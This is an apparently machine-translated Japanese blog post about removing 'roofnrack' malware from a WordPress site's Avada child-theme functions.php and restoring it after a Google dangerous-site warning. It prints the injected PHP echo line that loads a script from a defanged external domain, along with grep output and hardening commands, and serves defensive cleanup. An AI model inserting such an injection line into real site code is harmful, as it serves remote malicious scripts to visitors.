Google Chromeブラウザで WordPress サイトにアクセスすると、「危険なサイト」警告が表示される問題を解決しました。この警告は、主にサイトがハッキングされ、マルウェアやフィッシングスクリプトが挿入されたか、SSLセキュリティ証明書に問題が発生し、Webブラウザまたは検索エンジンが訪問者の情報を保護するために接続をブロックしたために表示されます。サイトを確認してみると、billing[.]roofnrack[.]us マルウェアに感染して削除作業を進めました。悪意のあるコードの削除とサイトのセキュリティ対策を行った後、Googleに審査を依頼すると、1日以内に危険なサイトの警告が消えました。
サイトにアクセスすると、Google Chromeブラウザに「危険なサイト」警告が表示される
WordPress サイトやブログに「危険なサイト」警告（Googleセーフブラウジング警告）が表示されると、致命的なSEO（検索エンジン最適化）の問題が発生します。 Googleを含む検索結果でランクが急落したり、まったく欠落している可能性があるため、できるだけ早く原因を特定して解決する必要があります。
Googleを含む検索エンジンはユーザー保護を最優先にするため、その警告が有効になるとすぐに検索結果ページ（SERP）でサイトインプレッションランキングを急激に下げたり、検索結果から除外（De-indexing）してしまいます。
何よりも、Google Chromeブラウザを介してアクセスしようとする訪問者に赤い警告画面が表示されるため、ユーザーの離脱率が急増します。
これらの「危険なサイト」警告は、次の原因によって表示されることがあります。
- マルウェア感染症： サイトがハッキングされ、訪問者のPCやスマートフォンに密かに悪意のあるソフトウェアをダウンロードしてインストールするように促すスクリプトが挿入された場合
- フィッシングページの作成： ハッカーがサイト内部に訪問者の個人情報、パスワード、クレジットカード情報などを奪取するための偽のログインページや決済ページをこっそり作っておいた場合
- 脆弱なプラグインやテーマの悪用： 長く更新されずに放置され、セキュリティの脆弱性が存在する WordPress プラグインやテーマを通してハッカーが侵入 バックドアをインストールしてサイト権限を奪取した場合
- 悪意のあるリンクとスパムリダイレクトの挿入： 訪問者がサイトの特定のリンクをクリックしたり、サイトにアクセスしたときに、違法なギャンブル、アダルト、またはその他の悪意のあるサイトに強制的に移動（リダイレクト）するように操作された場合
- 悪意のあるサードパーティの広告ネットワーク： サイト自体はハッキングされていなくても、連動していた外部バナー広告やポップアップスクリプトが訪問者にマルウェアを流布してGoogleに摘発された場合
- SSL/TLS 証明書の問題: この場合は通常「注意事項」レベルで表示されますが、セキュリティ証明書が期限切れになっているか、完全に誤って設定されているため、暗号化されていない状態で機密情報を要求するとブラウザに強力な警告が表示されることがあります。
WordPress サイトは多くの場合、サイトがマルウェア（マルウェア）に感染し、この現象が発生します。
roofnrackマルウェア
そのサイトをチェックしてみると、ベストセリングテーマ Avada(Avada)がインストールされており、チャイルドテーマの関数ファイルにroofnrack関連のマルウェアが追加されていました。
roofnrackマルウェアは、悪意のある外部スクリプト注入（Malicious Script Injection）タイプの WordPress マルウェアです。
攻撃者は WordPress PHPファイル（主にfunctions.php）を変調して以下のようなコードを挿入するとします。
echo '<script async src="https://billing[.]roofnrack[.]us/dh+V4w099ooSPa/RQSi5wQQ9r8EbPeg="></script>';
このコードが実行されると、ページが読み込まれるたびに billing[.]roofnrack[.]usという名前の外部ドメインからJavaScriptを非同期（async）と呼びます。この外部スクリプトは Google セーフ ブラウジングによってブラックリストに登録されたドメインで、訪問者のブラウザで次のような悪意のある作業を行います。
- 訪問者をフィッシングサイトまたは悪意のあるサイトにリダイレクトする
- 広告クリック詐欺（Ad Fraud）の実行
- 訪問者のブラウザ情報とクッキーの消臭
- 追加のマルウェアダウンロードの誘導
URLに含まれるdh+V4w099ooSPa/RQSi5wQQ9r8EbPeg=はBase64のように見える難読化されたパスで、セキュリティスキャナや管理者の検出を難しくするための手法です。
主な感染経路
1. プラグイン・テーマの脆弱性の悪用（最も一般的な経路）
更新されていないプラグインやテーマの既知のセキュリティ脆弱性（RCE、SQL Injection、ファイル埋め込みの脆弱性など）を悪用します。 Slider Revolution, エレメン、WPBakeryのようにインストール数が多いプラグインほど攻撃ターゲットになります。
そのサイトに Avada テーマとSlider Revolutionプラグインがインストールされていましたが、 Avada テーマと Slider Revolutionは最近、セキュリティの脆弱性が発見され、最新バージョンで修正されました。
2. 管理者アカウントの奪取
- ブルトフォース攻撃（無差別代入攻撃）： wp-login.phpに対する無差別代入攻撃で管理者パスワードを取得
- クレデンシャルスタッフィング：他のサービスから漏洩したIDとパスワードの再利用
3. FTP/SSH パスワード流出
フィッシングメール、他のサイトハッキング、ローカルPCのマルウェアなどを介してFTPまたはSSH接続情報が奪取されると、攻撃者は直接ファイルを修正する可能性があります。
4. 違法テーマまたはプラグインの使用
割れた有料テーマやプラグインへ 事前にマルウェアが内蔵されたことが多いです。最初のインストール時からすでに感染している状態です。
Googleを試してみると Avada, Newspaper などの有料テーマやエレメンタなど有料プラグインを無料で配布したり、低コストで販売する場所を見つけることができます。そんなサイトを通じて有料テーマやプラグインをインストールしてからマルウェア感染に苦しむ事例はまれですが、たまに接することになります。
少しコストを費やすために、より多くの費用をかけてマルウェアを取り除いたり、苦労したサイトを捨てるのが残念です。
5. 共有ホスティング環境の横方向感染
同じサーバーを使用している他のサイトが感染している場合、ファイル権限の設定が緩んでいると、隣接サイトに感染が広がる可能性があります。
実際、共有ホスティングでは、あるサイトがマルウェアに感染し、他のサイトも一緒に感染する場合がよく目撃されます。
マルウェアの位置解析
SSHでgrepコマンドでスキャンした結果を見ると、マルウェアは2つの場所で見つかりました。 （※SSHへのアクセスが可能であれば、より早く感染位置を見つけることができます。問題のサイトは Cafe24でホストされていましたが、 Cafe24 アカウントでSFTP / SSHを有効にできます。）
$ grep -rn "roofnrack" . --include="*.php"
./wp-content/themes/Avada-Child-Theme/functions.php:15: echo '<script async src="https://billing[.]roofnrack[.]us/dh+V4w099ooSPa/RQSi5wQQ9r8EbPeg="></script>';
$ grep -rn "roofnrack" . --include="*.js"
$ grep -rn "roofnrack" . --include="*.html"
./wp-content/cache/all/author/bio/index.html:97:<script async src="https://billing[.]roofnrack[.]us/dh+V4w099ooSPa/RQSi5wQQ9r8EbPeg="></script>...① PHP ファイル — マルウェア感染の根本原因
./wp-content/themes/Avada-Child-Theme/functions.php (15번째 줄)
これが本当の感染ファイルです。 WordPressすべてのページをレンダリングするとfunctions.phpが読み込まれるため、このファイル内の悪意のあるecho構文はすべてのHTML出力に悪意のあるスクリプトタグを挿入します。
②キャッシュHTMLファイル - 2次結果
./wp-content/cache/all/index.html
./wp-content/cache/all/author/bio/index.html
./wp-content/cache/all/news/index.html
./wp-content/cache/all/cepolab/index.html
キャッシュプラグイン（WP Fastest Cache、W3 Total Cache、Breezeなど）が悪意のあるスクリプトを含むPHP出力の結果をそのままキャッシュしたものです。
PHPファイルを最初にクリーンアップしないと、キャッシュを削除してもページが再生成されたときにマルウェアを含むキャッシュが再生成されます。必ずPHP修正→キャッシュ削除順に進む必要があります。
Slider Revolution Avada テーマが感染の原因か？
キャッシュ HTML ファイル内に次のようなメタタグが公開されていました。
<meta name="generator" content="Powered by Slider Revolution 6.7.31 - ...">
このフレーズは2つの問題を示唆しています。
- バージョン情報の公開: Slider Revolutionのバージョンが外部に公開されると、攻撃者はそのバージョンの脆弱性をターゲティングしやすくなります。 Slider Revolutionは過去 任意ファイルのダウンロード(Arbitrary File Download) 脆弱性（CVE-2014-9734）のために大規模なハッキングケースがあったプラグインです。
- 第二に、感染原因の推定: Slider Revolutionを主な感染経路として疑うことができますが、確定するためには、サーバーアクセスログの分析が必要です。
Avada最近、セキュリティの脆弱性が発見され、 Avada テーマのチャイルドテーマの関数ファイルにマルウェアが注入されたため Avada テーマを疑うこともできます。
しかし、可能性はありますが、 マルウェアの挿入位置が必ずしも侵入経路であるという保証はありません.
攻撃者は任意のパスでサーバーのアクセス権を獲得した後、最も効果的なファイルを選んでコードを植えます。 functions.phpはすべてのページのロード時に自動的に実行されるため、侵入後にマルウェアを植えるのに最適な場所であり、侵入経路とは別のものと呼ばれます。
マルウェアの削除
サイトがマルウェアに感染している場合は、マルウェアに感染したファイルを見つけて削除するか、マルウェアを削除する必要があります。また、DBをスキャンしてマルウェアが注入されていないことを確認する必要があります。
サイトからすべてのマルウェアを削除しても完了したわけではありません。脆弱性の原因を特定して対策を講じないと、再感染する可能性が高くなります。
多くの場合、 WordPress コア、テーマ、プラグインを更新しない、または長時間更新されずに放置されるプラグインまたはテーマを使用してマルウェアに感染します。場合によっては、ソースが不明な場所からダウンロードしてインストールしたテーマやプラグインのため、マルウェアが流入することもあります。
すべてのファイルを交換し、最新バージョンに更新する必要があり、安心してください。また、アップデートができず放置されるテーマやプラグインは削除してください。
作業が完了したら、wp-config.phpファイルからシークレットキー（Saltキー）を再発行して交換するようにします（→ "WordPress ソルト（Salt）とは何であり、どのように使用するか「注）。 WordPress 管理者パスワード、 FTP パスワードなどをすべて変更します。
- WordPress 管理者アカウントのパスワードの変更
- FTP/SFTPパスワードの変更
- SSHパスワードまたはキーの交換
- データベースパスワードの変更（wp-config.phpのDB_PASSWORDエントリも一緒に変更）
WordPress 管理者ページ » ユーザー » すべてのユーザーで奇妙なユーザーがいる場合は削除する必要があります。場合によっては、悪意のあるユーザーが隠されて見えないことがあります。 phpMyAdminなどを介してDBに接続して見てみると確実です。
WordPressがインストールされているパスで、次のコマンドを実行してファイルの整合性を確認できます。
# WordPress 코어 파일 원본과 비교
wp core verify-checksums
# プラグイン 체크섬 검증
wp plugin verify-checksums --all次のコマンドでプラグインとテーマの更新を実行できます。 WordPress リポジトリに登録された無料テーマやプラグインのアップデートが可能です。 Avada, Newspaper など有料テーマやSlider Revolution、 Elementor など有料プラグインはこのコマンドで更新されません。
wp plugin update --all
wp theme update --all再感染を防ぐために、次のようにディレクトリ書き込み権限を制限できます。
# wp-content/themes 디렉토리 쓰기 권한 제한
find wp-content/themes -type f -name "*.php" -exec chmod 644 {} \;
find wp-content/themes -type d -exec chmod 755 {} \;また、 WordPress セキュリティプラグイン（Wordfenceなど）をインストールし、サーバーファイアウォールなどを設定するなど、追加のセキュリティ対策を実行すると便利です。
サイトからマルウェアを削除した後、Google サーチ コンソールからマルウェアを削除したことを確認するリクエストを行うことができます。審査要請をすると1～3日ほどかかります。
今回の作業ではレビュー要請をしてから半日ほど過ぎると「危険なサイト警告」が消えました。サイトがブロックされているかどうかは、次のアドレスをブラウザのアドレスバーに入力することで確認できます。
https://transparencyreport.google.com/safe-browsing/search?url=내사이트도메인
Googleでブロックを解除して定常状態になると セーフブラウジングサイトのステータス ページに 「安全でないコンテンツが検索されませんでした」が表示されます。
まだ危険なサイトに分類され、ブラックリストに登録されている場合」このサイトは安全ではありません「警告 現状に表示されます。
マルウェアを削除してGoogleに審査を依頼した場合は、1〜3日待つと結果が表示されます。
ファイル感染時とGoogleの警告開始時
感染したファイルの修正日は2025年8月12日でした。おそらく2025年4月3日に子供のテーマを設置し、約4ヶ月後にマルウェアに感染したと推定されます。
しかし、クライアントは1ヶ月前に「危険なサイト」警告を認知したそうです。
2025-08-12 → functions.php 수정 (감염 시점)
현재 → 크롬 경고가 표시 중
1개월 전부터 → 클라이언트가 경고를 인지「1ヶ月前から警告が表示された」というクライアントの言及は、クライアントが警告を初めて発見した時点であり、Googleが正確にいつから警告を開始したかは不明です。 Googleがそれより早く警告を開始した可能性があり、クライアントが単に遅く発見した可能性もあります。
正確なGoogleブラックリストの登録時点を確認するには、Google検索コンソールで確認できます。通知の履歴を見ると、Googleがいつから警告を開始したかがわかります。
Googleから通知メールを送信すると、タイムリーに確認して迅速な対応を行うことがSEO損害を最小限に抑えるのに役立ちます。
👉マルウェアの削除を含む WordPress またはWebホスティング関連のトラブルシューティングに問題がある場合 ここでサービス（有料）をご依頼することができます。
最後に、
WordPressはセキュリティに強いですが、アップデートを無視したりセキュリティプラクティスを無視したりすると、サイトがハッキングされたりマルウェアに感染したりすることができます。
クラウドウェイズマルウェアを定期的にスキャンし、マルウェアが検出された場合は電子メールで警告メールを送信します。これにより、アプリケーションのMalware Protectionセクションでマルウェアのパスを確認できます。マルウェアを削除するには、有料のMalware Protectionアドオンを購読する必要があります。購読料はアプリケーションあたり月4ドルです。重要なサイトであれば、購読することを検討することができます。
ただし、このブログのように、本文にコードブロックなどを利用してマルウェアスクリプトを表示したり、マルウェアパスを表示する場合、マルウェアプロテクションでマルウェアとして誤って検出することもあります。この問題をクラウドウェイズにしばらく前に報告しました。
そうです、SSL証明書の問題のため、このような警告が出る時も多かったです。よく解決してくれてありがとう。